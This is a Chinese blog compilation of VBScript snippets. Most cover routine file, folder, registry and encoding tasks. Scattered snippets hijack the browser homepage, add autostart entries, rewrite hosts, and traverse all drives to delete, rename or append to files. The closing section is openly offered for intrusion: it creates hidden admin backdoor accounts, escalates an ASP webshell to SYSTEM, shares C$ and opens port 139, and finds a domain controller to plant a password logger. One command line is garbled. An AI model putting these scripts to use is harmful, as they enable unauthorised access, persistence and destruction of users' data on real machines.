精华内容
下载资源
问答
  • 在 VBScript 中,过程被分为两类:Sub 过程和 Function 过程,需要的朋友可以参考下
  • vbs(asp)下的Function 语句
  • 比如: call name(“John”) Function name(name) MsgBox name End Function 但是我在看别人代码时,只看到了call Log_Result() 但没有看到定义 Function Log_Result(),请问是可以不定义直接call吗
  • VBS中Sub与Function的区别[资料] 在VBscript中,有两种procedure:Sub procedure与Function procedure。 一、Sub Procedures  VBScript的 Sub Procedure以 Sub 开始,以 End Sub 结束,中间是...

    VBS中Sub与Function的区别[资料]

    在VBscript中,有两种procedure:Sub procedure与Function procedure。
    一、Sub Procedures

        VBScript的Sub Procedure以Sub开始,以End Sub结束,中间是VBScript语句。Sub procedure完成一系列的动作,但是不产生返回值。Sub Procedure也可以携带参数(如常量、变量、或表达式)。如果Sub Procedure不携带参数,则Sub 语句也必须带有一对空括号。

        下面的这个Sub Procedure例子使用了两个内建VBScript 函数 MsgBox以及InputBox。InputBox用来弹出提示框,提示用户输入相关信息;MsgBox用以显示计算结果。计算功能由用户自建的Function Procedure来实现,相关信息在接下来的内容中另行讨论。

    复制内容到剪贴板
    代码:
        Sub ConvertTemp()
           temp = InputBox("Please enter the temperature in degrees F.", 1)
           MsgBox "The temperature is " & Celsius(temp) & " degrees C."
        End Sub
    二、
    Function Procedures

        Function Procedure以Function开始,以End Function结束,中间是VBScript语句。Function Procedure与Sub Procedure相似,但是Function Procedure可以返回值。Function Procedure也可以携带参数(常量、变量、表达式)。如果Function Procedure不携带参数,Function语句也必须带有一对空括号。Function Procedure在语句中,通过赋值语句将值赋给Funciton的名称,由此Function Procedure得到返回值。返回值的数据类型总是Variant类型。

        在下面的例子中,用户定义的Function Celsius将华氏温度换算为摄氏度。当在Sub procedure ConvertTemp中用Celsius(temp)调用这个Function时,将参数“Temp”传到Function中(注意:此时参数Temp已经有明确的数据了)。然后在Function中,进行换算工作,并将换算结果赋给Function名称“Celsius”,由此换算结果就成了Function的返回值,返回给调用它的Sub procedure,并通过Message语句显示出来。

    复制内容到剪贴板
    代码:

        Sub ConvertTemp()
           temp = InputBox("Please enter the temperature in degrees F.", 1)
           MsgBox "The temperature is " & Celsius(temp) & " degrees C."
        End Sub
        Function Celsius(fDegrees)
           Celsius = (fDegrees - 32) * 5 / 9
        End Function
    三、将数据传入或传出Procedure

        Procedure只能通过参数获得数据。参数名可以是任何有效的变量名称。用户可以用Sub语句或Function语句创建Procedure,无论是用哪种方式创建,Procedure名称后面都必须带有一对括号。所有的参数包括在这一对括号之中,用逗号分隔。

        在下面的例子中,“fDegrees”是一个参数,它将值传入Function“Celsius”。

    复制内容到剪贴板
    代码:
    Function Celsius(fDegrees)
           Celsius = (fDegrees - 32) * 5 / 9
        End Function

        要想从procedure获取返回值,必需使用Funciton procedure。要记住:只有Function procedure有返回值,Sub procedure没有返回值。

    三、如何在脚本中使用Sub Procedure或Function Procedure

        Function总是放置于变量赋值语句的右侧,或放置于表达式中。如

    复制内容到剪贴板
    代码:

        Temp=Celsius(fDegrees)
        或
        MsgBox "The Celsius temperature is " & Celsius(fDegrees) & " degrees."

        在调用Sub procedure时,在procedure名字后带上所有必须的参数,参数之间用逗号隔开。Call语句不是必须的,但是如果使用Call语句来调用它,procedure名字后面的参数必须用括号括起来。

    下面的例子表达了两种不同的调用方法:一个使用Call语句来调用,另一个没有使用Call语句。两种方法的是殊道同归。

    复制内容到剪贴板
    代码:

        Call MyProc(firstarg, secondarg)
        MyProc firstarg, secondarg

        注意:在使用Call语句调用Sub Procedure时,参数必须用括号括起来。




    引文来源    VBS中Sub与Function的区别

    版权声明:本文为博主原创文章,未经博主允许不得转载。

    转载于:https://my.oschina.net/zhangzhe/blog/483008

    展开全文
  • 我本来想获取aaa.com页面的内容,可是aaa.com跳转到bbb.com了。我想获取bbb.com 这个网址。
  • VBS获取网页源代码.vbs set http=createobject("Microsoft.XMLHTTP") '\\调用XMLHTTP对象 url="http://www.119880.com/qq.txt" '\\赋予变量URL值 Set hhh = createObject("Microsoft.XMLHTTP") hhh.open "get",...
  • VBS中怎样自定义函数如何自定义函数vbs 的语法和vb类似, 函数在vbs里称为过程 VBScript 过程 在 VBScript 中,过程被分为两类:Sub 过程和 Function 过程。 Sub 过程 Sub 过程是包含在 Sub 和 End Sub 语句之间的一...

    VBS中怎样自定义函数如何自定义函数vbs 的语法和vb类似, 函数在vbs里称为过程 VBScript 过程 在 VBScript 中,过程被分为两类:Sub 过程和 Function 过程。 Sub 过程 Sub 过程是包含在 Sub 和 End Sub 语句之间的一组 VBScript 语句,执行操作但不返回值。

    VBS怎么使用有返回值的函数

    如果类型为函数就必须有返回值,如果类型是过程。

    59424d409303429b841441b94e30c68b.png

    VBS中函数返回数组值是怎么做的,希望能给举个例子下边是个简单的例子,示例如何在Function过程中返回数组 x=GetArr(9) '调用getarr过程返回10(0-9)个元素的数组,并赋值给x For i = 0 To UBound(x) '枚举刚才返回的数组 arrstr=arrstr & "GetArr(" & i & ")=" & x(i) & vbCrLf Next Msgbox arrs

    VBS中Dictionary对象能否做为函数返回值

    Set listTypes=CreateObject("Scripting.dictionary")listTypes=fun_SelectRecordsFromNewsType()response.write(listTypes.items(1)) 总是提示在1的位置有错误:错误类型:Microsoft VBScript 运行时错误 (0x800A01C2)错误的参数个数或无效的参

    VBS通过函数的参数传递函数名

    Function f() msgbox "g" End Function Function t(d) d End Function Function f() MsgBox "g"End FunctionFunction t(d) Execute dEnd Functiont "f"

    我想用(Function)定义两个以上的函数(现在只会定义一个),请用一个简vbs 的语法和vb类似, 函数在vbs里称为过程 VBScript 过程 在 VBScript 中,过程被分为两类:Sub 过程和 Function 过程。 Sub 过程 Sub 过程是包含在 Sub 和 End Sub 语句之间的一组 VBScript 语句,执行操作但不返回值。

    展开全文
  • vbs常用地方

    2020-08-09 16:13:13
    VBS获取系统安装路径 先定义这个变量是获取系统安装路径的,然后我们用”&strWinDir&”调用这个变量。 set WshShell = WScript.CreateObject(“WScript.Shell”) strWinDir = WshShell....

    VBS获取系统安装路径

    先定义这个变量是获取系统安装路径的,然后我们用”&strWinDir&”调用这个变量。

    set WshShell = WScript.CreateObject(“WScript.Shell”)
    strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")

    VBS获取C:\Program Files路径

    msgbox CreateObject(“WScript.Shell”).ExpandEnvironmentStrings("%ProgramFiles%")

    VBS获取C:\Program Files\Common Files路径

    msgbox CreateObject(“WScript.Shell”).ExpandEnvironmentStrings("%CommonProgramFiles%")

    给桌面添加网址快捷方式

    set gangzi = WScript.CreateObject(“WScript.Shell”)
    strDesktop = gangzi.SpecialFolders(“Desktop”)
    set oShellLink = gangzi.CreateShortcut(strDesktop & “\Internet Explorer.lnk”)
    oShellLink.TargetPath = “http://www.baidu.com”
    oShellLink.Description = “Internet Explorer”
    oShellLink.IconLocation = “%ProgramFiles%\Internet Explorer\iexplore.exe, 0”
    oShellLink.Save

    给收藏夹添加网址

    Const ADMINISTRATIVE_TOOLS = 6

    Set objShell = CreateObject(“Shell.Application”)
    Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
    Set objFolderItem = objFolder.Self

    Set objShell = WScript.CreateObject(“WScript.Shell”)
    strDesktopFld = objFolderItem.Path
    Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & “\奋斗Blog.url”)
    objURLShortcut.TargetPath = “http://www.baidu.com/”
    objURLShortcut.Save

    删除指定目录指定后缀文件

    On Error Resume Next
    Set fso = CreateObject(“Scripting.FileSystemObject”)
    fso.DeleteFile “C:*.vbs”, True
    Set fso = Nothing

    VBS改主页

    Set oShell = CreateObject(“WScript.Shell”)
    oShell.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”,“http://www.baidu.com”

    VBS加启动项

    Set oShell=CreateObject(“Wscript.Shell”)
    oShell.RegWrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd”,“cmd.exe”

    VBS复制自己

    set copy1=createobject(“scripting.filesystemobject”)
    copy1.getfile(wscript.scriptfullname).copy(“c:\huan.vbs”)

    复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)

    set copy1=createobject(“scripting.filesystemobject”)
    copy1.getfile(“game.exe”).copy(“c:\gangzi.exe”)

    VBS获取系统临时目录

    Dim fso
    Set fso = CreateObject(“Scripting.FileSystemObject”)
    Dim tempfolder
    Const TemporaryFolder = 2
    Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
    Wscript.Echo tempfolder

    就算代码出错 依然继续执行

    On Error Resume Next

    VBS打开网址

    Set objShell = CreateObject(“Wscript.Shell”)
    objShell.Run(“http://www.baidu.com/”)

    VBS发送邮件

    NameSpace = “http://schemas.microsoft.com/cdo/configuration/”
    Set Email = CreateObject(“CDO.Message”)
    Email.From = “发件@qq.com”
    Email.To = “收件@qq.com”
    Email.Subject = “Test sendmail.vbs”
    Email.Textbody = “OK!”
    Email.AddAttachment “C:\1.txt”
    With Email.Configuration.Fields
    .Item(NameSpace&“sendusing”) = 2
    .Item(NameSpace&“smtpserver”) = “smtp.邮件服务器.com”
    .Item(NameSpace&“smtpserverport”) = 25
    .Item(NameSpace&“smtpauthenticate”) = 1
    .Item(NameSpace&“sendusername”) = “发件人用户名”
    .Item(NameSpace&“sendpassword”) = “发件人密码”
    .Update
    End With
    Email.Send

    VBS结束进程

    strComputer = “.”
    Set objWMIService = GetObject _
    (“winmgmts:” & strComputer & “\root\cimv2”)
    Set colProcessList = objWMIService.ExecQuery _
    (“Select * from Win32_Process Where Name = ‘Rar.exe’”)
    For Each objProcess in colProcessList
    objProcess.Terminate()
    Next

    VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)

    createObject(“wscript.shell”).run “iexplore http://www.baidu.com/”,0

    兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。

    Set objws=WScript.CreateObject(“wscript.shell”)
    objws.Run “”“C:\Program Files\Internet Explorer\iexplore.exe”“www.baidu.com”,vbhide

    VBS遍历硬盘删除指定文件名

    On Error Resume Next
    Dim fPath
    strComputer = “.”
    Set objWMIService = GetObject _
    (“winmgmts:” & strComputer & “\root\cimv2”)
    Set colProcessList = objWMIService.ExecQuery _
    (“Select * from Win32_Process Where Name = ‘gangzi.exe’”)
    For Each objProcess in colProcessList
    objProcess.Terminate()
    Next
    Set objWMIService = GetObject(“winmgmts:” _
    & “{impersonationLevel=impersonate}!” & strComputer & “\root\cimv2”)
    Set colDirs = objWMIService. _
    ExecQuery(“Select * from Win32_Directory where name LIKE ‘%c:%’ or name LIKE ‘%d:%’ or name LIKE ‘%e:%’ or name LIKE ‘%f:%’ or name LIKE ‘%g:%’ or name LIKE ‘%h:%’ or name LIKE ‘%i:%’”)
    Set objFSO = CreateObject(“Scripting.FileSystemObject”)
    For Each objDir in colDirs
    fPath = objDir.Name & “\gangzi.exe”
    objFSO.DeleteFile(fPath), True
    Next

    VBS获取网卡MAC地址

    Dim mc,mo
    Set mc=GetObject(“Winmgmts:”).InstancesOf(“Win32_NetworkAdapterConfiguration”)
    For Each mo In mc
    If mo.IPEnabled=True Then
    MsgBox "本机网卡MAC地址是: " & mo.MacAddress
    Exit For
    End If
    Next

    VBS获取本机注册表主页地址

    Set reg=WScript.CreateObject(“WScript.Shell”)
    startpage=reg.RegRead(“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”)
    MsgBox startpage

    VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话

    On Error Resume Next
    Set fso = CreateObject(“Scripting.FileSystemObject”)
    Co = VbCrLf & “路过。。。”

    For Each i In fso.Drives
    If i.DriveType = 2 Then
    GF fso.GetFolder(i & “”)
    End If
    Next

    Sub GF(fol)
    Wh fol
    Dim i
    For Each i In fol.SubFolders
    GF i
    Next
    End Sub

    Sub Wh(fol)
    Dim i
    For Each i In fol.Files
    If LCase(fso.GetExtensionName(i)) = “shtml” Then
    fso.OpenTextFile(i,8,0).Write Co
    End If
    Next
    End Sub

    获取计算机所有盘符

    Set fso=CreateObject(“scripting.filesystemobject”)
    Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器
    For Each objdrive In objdrives '遍历磁盘
    MsgBox objdrive
    Next

    VBS给本机所有磁盘根目录创建文件

    On Error Resume Next
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器
    For Each gangzi In gangzis '遍历磁盘
    Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)
    TestFile.WriteLine(“By www.gangzi.org”)
    TestFile.Close
    Next

    VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe

    set fs = CreateObject(“Scripting.FileSystemObject”)

    for each drive in fs.drives
    fstraversal drive.rootfolder
    next

    sub fstraversal(byval this)
    for each folder in this.subfolders
    fstraversal folder
    next
    set files = this.files
    for each file in files
    if file.name = “123.exe” then file.name = “321.exe”
    next
    end sub

    VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)

    str=“这里是你要复制到剪贴板的字符串”
    Set ws = wscript.createobject(“wscript.shell”)
    ws.run “mshta vbscript:clipboardData.SetData(”+""""+“text”+""""+","+""""&str&""""+")(close)",0,true

    QQ自动发消息

    On Error Resume Next
    str=“我是笨蛋/qq”
    Set WshShell=WScript.CreateObject(“WScript.Shell”)
    WshShell.run “mshta vbscript:clipboardData.SetData(”+""""+“text”+""""+","+""""&str&""""+")(close)",0
    WshShell.run “tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1”,0,true
    WScript.Sleep 3000
    WshShell.SendKeys “^v”
    WshShell.SendKeys “%s”

    VBS隐藏文件

    Set objFSO = CreateObject(“Scripting.FileSystemObject”)
    Set objFile = objFSO.GetFile(“F:\软件大赛\show.txt”)
    If objFile.Attributes = objFile.Attributes AND 2 Then
    objFile.Attributes = objFile.Attributes XOR 2
    End If

    VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途)

    Randomize 521
    point=Array(Int(100Rnd+1),Int(1000Rnd+1),Int(10000*Rnd+1))
    msgbox join(point,"")

    VBS删除桌面IE图标(非快捷方式)

    Set oShell = CreateObject(“WScript.Shell”)
    oShell.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon”,1,“REG_DWORD”

    VBS获取自身文件名

    Set fso = CreateObject(“Scripting.FileSystemObject”)
    msgbox WScript.ScriptName

    VBS读取Unicode编码的文件

    Set objFSO = CreateObject(“Scripting.FileSystemObject”)
    Set objFile = objFSO.OpenTextFile(“gangzi.txt”,1,False,-1)
    strText = objFile.ReadAll
    objFile.Close
    Wscript.Echo strText

    VBS读取指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径

    set stm2 =createobject(“ADODB.Stream”)
    stm2.Charset = “utf-8”
    stm2.Open
    stm2.LoadFromFile gangzi
    readfile = stm2.ReadText
    MsgBox readfile

    VBS禁用组策略

    Set oShell = CreateObject(“WScript.Shell”)
    oShell.RegWrite “HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins”,1,“REG_DWORD”

    VBS写指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径,gangzi2是内容变量

    gangzi=“1.txt”
    gangzi2=“www.gangzi.org”
    Set Stm1 = CreateObject(“ADODB.Stream”)
    Stm1.Type = 2
    Stm1.Open
    Stm1.Charset = “UTF-8”
    Stm1.Position = Stm1.Size
    Stm1.WriteText gangzi2
    Stm1.SaveToFile gangzi,2
    Stm1.Close
    set Stm1 = nothing

    VBS获取当前目录下所有文件夹名字(不包括子文件夹)

    Set fso=CreateObject(“scripting.filesystemobject”)
    Set f=fso.GetFolder(fso.GetAbsolutePathName("."))
    Set folders=f.SubFolders
    For Each fo In folders
    wsh.echo fo.Name
    Next
    Set folders=Nothing
    Set f=nothing
    Set fso=nothing

    VBS获取指定目录下所有文件夹名字(包括子文件夹)

    Dim t
    Set fso=WScript.CreateObject(“scripting.filesystemobject”)
    Set fs=fso.GetFolder(“d:”)
    WScript.Echo aa(fs)
    Function aa(n)
    Set f=n.subfolders
    For Each uu In f
    Set op=fso.GetFolder(uu.path)
    t=t & vbcrlf & op.path
    Call aa(op)
    Next
    aa=t
    End function

    VBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标)

    set fso=createobject(“scripting.filesystemobject”)
    qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)
    qidong=qidong&“URL=http://www.baidu.com”&Chr(13)&Chr(10)
    qidong=qidong&“IconFile=C:\WINDOWS\system32\SHELL32.dll”&Chr(13)&Chr(10)
    qidong=qidong&“IconIndex=130”&Chr(13)&Chr(10)
    Set TestFile=fso.CreateTextFile(“qq.url”,Ture)
    TestFile.WriteLine(qidong)
    TestFile.Close

    VBS写hosts(没写判断,无论存不存在都追加底部)

    Set fs = CreateObject(“Scripting.FileSystemObject”)
    path = “”&fs.GetSpecialFolder(1)&"\drivers\etc\hosts"
    Set f = fs.OpenTextFile(path,8,TristateFalse)
    f.Write “”&vbcrlf&“127.0.0.1 www.g.cn”&vbcrlf&“127.0.0.1 g.cn”
    f.Close

    VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有键的名字并循环输出

    Const HKLM = &H80000002
    strPath = “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace”
    Set oreg = GetObject(“Winmgmts:\root\default:StdRegProv”)
    oreg.EnumKey HKLM,strPath,arr
    For Each x In arr
    WScript.Echo x
    Next

    VBS创建txt文件

    Dim fso,TestFile
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    Set TestFile=fso.CreateTextFile(“C:\hello.txt”,Ture)
    TestFile.WriteLine(“Hello,World!”)
    TestFile.Close

    VBS创建文件夹

    Dim fso,fld
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    Set fld=fso.CreateFolder(“C:\newFolder”)

    VBS判断文件夹是否存在

    Dim fso,fld
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    If (fso.FolderExists(“C:\newFolder”)) Then
    msgbox(“Folder exists.”)
    else
    set fld=fso.CreateFolder(“C:\newFolder”)
    End If

    VBS使用变量判断文件夹

    Dim fso,fld
    drvName=“C:”
    fldName=“newFolder”
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    If (fso.FolderExists(drvName&fldName)) Then
    msgbox(“Folder exists.”)
    else
    set fld=fso.CreateFolder(drvName&fldName)
    End If

    VBS加输入框

    Dim fso,TestFile,fileName,drvName,fldName
    drvName=inputbox(“Enter the drive to save to:”,“Drive letter”)
    fldName=inputbox(“Enter the folder name:”,“Folder name”)
    fileName=inputbox(“Enter the name of the file:”,“Filename”)
    Set fso=CreateObject(“Scripting.FileSystemObject”)

    If(fso.FolderExists(drvName&fldName))Then
    msgbox(“Folder exists”)
    Else
    Set fld=fso.CreateFolder(drvName&fldName)
    End If

    Set TestFile=fso.CreateTextFile(drvName&fldName&""&fileName&".txt",True)

    TestFile.WriteLine(“Hello,World!”)
    TestFile.Close

    VBS检查是否有相同文件

    Dim fso,TestFile,fileName,drvName,fldName
    drvName=inputbox(“Enter the drive to save to:”,“Drive letter”)
    fldName=inputbox(“Enter the folder name:”,“Folder name”)
    fileName=inputbox(“Enter the name of the file:”,“Filename”)
    Set fso=CreateObject(“Scripting.FileSystemObject”)

    If(fso.FolderExists(drvName&fldName))Then
    msgbox(“Folder exists”)
    Else
    Set fld=fso.CreateFolder(drvName&fldName)
    End If

    If(fso.FileExists(drvName&fldName&""&fileName&".txt"))Then
    msgbox(“File already exists.”)
    Else
    Set TestFile=fso.CreateTextFile(drvName&fldName&""&fileName&".txt",True)
    TestFile.WriteLine(“Hello,World!”)
    TestFile.Close
    End If

    VBS改写、追加 文件

    Dim fso,openFile
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    Set openFile=fso.OpenTextFile(“C:\test.txt”,2,True) '1表示只读,2表示可写,8表示追加
    openFile.Write “Hello World!”
    openFile.Close

    VBS读取文件 ReadAll 读取全部

    Dim fso,openFile
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    Set openFile=fso.OpenTextFile(“C:\test.txt”,1,True)
    MsgBox(openFile.ReadAll)

    VBS读取文件 ReadLine 读取一行

    Dim fso,openFile
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    Set openFile=fso.OpenTextFile(“C:\test.txt”,1,True)
    MsgBox(openFile.ReadLine())
    MsgBox(openFile.ReadLine()) '如果读取行数超过文件的行数,就会出错

    VBS读取文件 Read 读取n个字符

    Dim fso,openFile
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    Set openFile=fso.OpenTextFile(“C:\test.txt”,1,True)
    MsgBox(openFile.Read(2)) '如果超出了字符数,不会出错。

    VBS删除文件

    Dim fso
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    fso.DeleteFile(“C:\test.txt”)

    VBS删除文件夹

    Dim fso
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    fso.DeleteFolder(“C:\newFolder”) '不管文件夹中有没有文件都一并删除

    VBS连续创建文件

    Dim fso,TestFile
    Set fso=CreateObject(“Scripting.FileSystemObject”)
    For i=1 To 10
    Set TestFile=fso.CreateTextFile(“C:\hello”&i&".txt",Ture)
    TestFile.WriteLine(“Hello,World!”)
    TestFile.Close
    Next

    VBS根据计算机名随机生成字符串

    set ws=createobject(“wscript.shell”)
    set wenv=ws.environment(“process”)
    RDA=wenv(“computername”)
    Function UCharRand(n)
    For i=1 to n
    Randomize ASC(MID(RDA,1,1))
    temp = cint(25*Rnd)
    temp = temp +65
    UCharRand = UCharRand & chr(temp)
    Next
    End Function
    msgbox UCharRand(LEN(RDA))

    VBS根据mac生成序列号

    Function Encode(strPass)
    Dim i, theStr, strTmp

    For i = 1 To Len(strPass)
    strTmp = Asc(Mid(strPass, i, 1))
    theStr = theStr & Abs(strTmp)
    Next

    strPass = theStr
    theStr = “”

    Do While Len(strPass) > 16
    strPass = JoinCutStr(strPass)
    Loop

    For i = 1 To Len(strPass)
    strTmp = CInt(Mid(strPass, i, 1))
    strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
    theStr = theStr & strTmp
    Next

    Encode = theStr
    End Function

    Function JoinCutStr(str)
    Dim i, theStr
    For i = 1 To Len(str)
    If Len(str) - i = 0 Then Exit For
    theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))
    i = i + 1
    Next
    JoinCutStr = theStr
    End Function

    Function IIf(var, val1, val2)
    If var = True Then
    IIf = val1
    Else
    IIf = val2
    End If
    End Function

    Set mc=GetObject(“Winmgmts:”).InstancesOf(“Win32_NetworkAdapterConfiguration”)
    For Each mo In mc
    If mo.IPEnabled=True Then
    theStr = mo.MacAddress
    Exit For
    End If
    Next

    Randomize Encode(theStr)
    rdnum=Int(10*Rnd+5)

    Function allRand(n)
    For i=1 to n
    Randomize Encode(theStr)
    temp = cint(25*Rnd)
    If temp mod 2 = 0 then
    temp = temp + 97
    ElseIf temp < 9 then
    temp = temp + 48
    Else
    temp = temp + 65
    End If
    allRand = allRand & chr(temp)
    Next
    End Function
    msgbox allRand(rdnum)

    VBS自动连接adsl

    Dim Wsh
    Set Wsh = WScript.CreateObject(“WScript.Shell”)
    wsh.run “Rasdial 连接名字 账号 密码”,false,1

    VBS自动断开ADSL

    Dim Wsh
    Set Wsh = WScript.CreateObject(“WScript.Shell”)
    wsh.run “Rasdial /DISCONNECT”,false,1

    VBS每隔3秒自动更换IP并打开网址实例(值得一提的是,下面这个代码中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的网址都是新窗口,直接使用run就可以了)

    Dim Wsh
    Set Wsh = WScript.CreateObject(“WScript.Shell”)
    Set oIE = CreateObject(“InternetExplorer.Application”)
    for i=1 to 5
    wsh.run “Rasdial /DISCONNECT”,false,1
    wsh.run “Rasdial 连接名字 账号 密码”,false,1
    oIE.Navigate “http://www.ip138.com/?”&i&""
    Call SynchronizeIE
    oIE.Visible = True
    next
    Sub SynchronizeIE
    On Error Resume Next
    Do While(oIE.Busy)
    WScript.Sleep 3000
    Loop
    End Sub

    用VBS来加管理员帐号
    在注入过程中明明有了sa帐号,但是由于net.exe和net1.exe被限制,或其它的不明原因,总是加不了管理员帐号。VBS在活动目录(adsi)部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠cmd等命令来加一个管理员,详细代码如下:

    set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)
    os=“WinNT://”&wsnetwork.ComputerName
    Set ob=GetObject(os) '得到adsi接口,绑定
    Set oe=GetObject(os&"/Administrators,group") '属性,admin组
    Set od=ob.Create(“user”,“lcx”) '建立用户
    od.SetPassword “123456” '设置密码
    od.SetInfo '保存
    Set of=GetObject(os&"/lcx",user) '得到用户
    oe.add os&"/lcx"

    这段代码如果保存为1.vbs,在cmd下运行,格式: cscript 1.vbs的话,会在当前系统加一个名字为lcx,密码为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和密码值。

    用vbs来列虚拟主机的物理目录
    有时旁注入侵成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样才能更快的找到我们目标站的物理目录呢?一个站一个站翻看太累,用系统自带的adsutil.vbs吧又感觉好像参数很多,有点无法下手的感觉,试试我这个脚本吧,代码如下:

    Set ObjService=GetObject(“IIS://LocalHost/W3SVC”)
    For Each obj3w In objservice
    If IsNumeric(obj3w.Name) Then
    sServerName=Obj3w.ServerComment
    Set webSite = GetObject(“IIS://Localhost/W3SVC/” & obj3w.Name & “/Root”)
    ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & “(” & webSite.Path & “)” & vbCrLf

    End If
    Next
    WScript.Echo ListAllWeb
    Set ObjService=Nothing
    WScript.Quit

    运行cscript 2.vbs后,就会详细列出IIS里的站点ID、描述、及物理目录,是不是代码少很多又方便呢?

    用VBS快速找到内网域的主服务器
    面对域结构的内网,可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码,整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上,如果能搞定其中的一台或几台,放个密码记录器之类,相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了,如何在成千台机器里判断出是哪一台呢?dos命令像net group “domain admins” /domain可以做为一个判断的标准,不过vbs也可以做到的,这仍然属于adsi部份的内容,代码如下:

    set obj=GetObject(“LDAP://rootDSE”)
    wscript.echo obj.servername

    只用这两句代码就足够了,运行cscript 3.vbs,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的,登陆你木马shell的又是域用户,就可以直接运行这些命令了。
    vbs的在入侵中的作用当然不只这些,当然用js或其它工具也可以实现我上述代码的功能;不过这个专栏定下的题目是vbs在hacking中的妙用,所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目,争取为读者带来好的有用的文章。

    WebShell提权用的VBS代码
    asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下:

    set wsh=createobject(“wscript.shell”) '创建一个wsh对象
    a=wsh.run (“cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll”,0) '加入asp.dll到InProcessIsapiApps中

    将其保存为vbs的后缀,再上传到服务上,
    然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧,你会发现自己己经是system权限了

    VBS开启ipc服务和相关设置

    Dim OperationRegistry
    Set OperationRegistry=WScript.CreateObject(“WScript.Shell”)
    OperationRegistry.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”,0

    Set wsh3=wscript.createobject(“wscript.shell”)
    wsh3.Run “net user helpassistant 123456”,0,false
    wsh3.Run “net user helpassistant /active”,0,false
    wsh3.Run “net localgroup administrators helpassistant /add”,0,false

    wsh3.Run “net start Lanmanworkstation /y”,0,false
    wsh3.Run “net start Lanmanserver /y”,0,false
    wsh3.Run “net start ipc " , 0 , T r u e w s h 3. R u n " n e t s h a r e c ",0,True wsh3.Run "net share c ",0,Truewsh3.Run"netsharec=c:”,0,false

    wsh3.Run “netsh firewall set notifications disable”,0,True
    wsh3.Run “netsh firewall set portopening TCP 139 enable”,0,false
